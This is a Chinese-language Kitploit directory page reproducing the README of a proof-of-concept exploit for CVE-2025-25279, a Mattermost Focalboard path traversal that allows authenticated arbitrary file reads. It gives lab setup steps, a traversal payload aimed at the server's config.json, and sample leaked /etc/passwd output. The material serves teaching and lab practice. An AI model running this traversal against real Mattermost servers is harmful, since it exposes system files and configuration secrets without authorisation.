Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-25279-Mattermost-Path-Traversal — CVE-2025-25279 的概念验证漏洞利用程序,这是一个 Mattermost Focalboard 路径遍历漏洞,可导致经过身份验证的任意文件读取以及敏感文件的外泄。 | Kitploit
工具/GitHubGitHub/abokormahammadmousse/cve-2025-25279-mattermost-path-traversal
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubabokormahammadmousse/cve-2025-25279-mattermost-path-traversal

CVE-2025-25279-Mattermost-Path-Traversal

CVE-2025-25279 的概念验证漏洞利用程序,这是一个 Mattermost Focalboard 路径遍历漏洞,可导致经过身份验证的任意文件读取以及敏感文件的外泄。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
206个月前尚未审核
分享

🔥 CVE-2025-25279 — Mattermost 10.4.1

📤 Focalboard 路径遍历漏洞导致文件泄露

🌟 介绍

本概念验证演示了影响 Mattermost 10.4.1 的 CVE-2025-25279 漏洞利用。
Focalboard(看板管理模块)中存在一个漏洞,允许通过附件路径遍历实现 任意文件读取。

该漏洞可泄露:

  • /etc/passwd
  • /etc/group
  • 或 Mattermost 的敏感文件,例如:
    opt/mattermost/config/config.json

攻击仅在漏洞场景下 使用已验证的用户账户 时有效。


🗂️ 目录结构

  • 📁 target:创建目标虚拟机的目录
  • 📁 live:创建目标虚拟机并演示漏洞利用的目录
  • 📁 src:辅助源码(如有)
  • 📁 refs:包含文章和参考资料的目录
  • 📁 docs:项目过程中生成的文档,包括视频录制

🔧 前置条件

  • Vagrant
  • VirtualBox
  • 项目文件集(target + live)
  • 一个 Mattermost 账户(PAT = Personal Access Token)
  • 支持 Bash 的 Linux/Mac/Windows 系统

📦 下载 Mattermost

target/ 目录未包含在内(体积过大,无法上传至 GitHub)。

请手动下载: https://releases.mattermost.com/10.4.1/mattermost-10.4.1-linux-amd64.tar.gz

然后将文件放入 target 目录。

部署虚拟机前

首先进入 target 目录并执行:

cd target
make mattermost.box

确保已添加 mattermost-poc 盒子,否则虚拟机无法启动:

cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box

1. 部署易受攻击的机器

启动虚拟机

cd live/vm1
vagrant up

连接到虚拟机

 vagrant ssh

在 Web 界面创建用户:

打开:http://localhost:8065

在用户界面中创建令牌:

个人资料 --> 安全 --> 个人访问令牌

2. 安装漏洞利用工具

在宿主机上执行:

cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip

chmod +x exploit.sh

3. 运行漏洞利用脚本

./exploit.sh

系统会提示:

PAT(个人访问令牌):

👉 输入一个有效的 Mattermost 用户 PAT。

📸 示例输出(泄露 /etc/passwd)

===== 内容(开头) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh

目标文件:config.json

若想指向一个敏感的 Mattermost 文件:

修改 exploit.sh 脚本顶部的设置:

TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
然后漏洞脚本将输出 config.json 文件的内容。

✒️ 作者

🟢 MAHAMMAD MOUSSE Abokor 🔵 PARNET cyril

🎬 视频演示

👉 完整的视频演示位于: live/Démonstration/video-poc-cve-2025-25279.mp4

🧩 说明

本 PoC 严格用于学习环境。 未经授权,不得在教育范围之外使用。

下载工具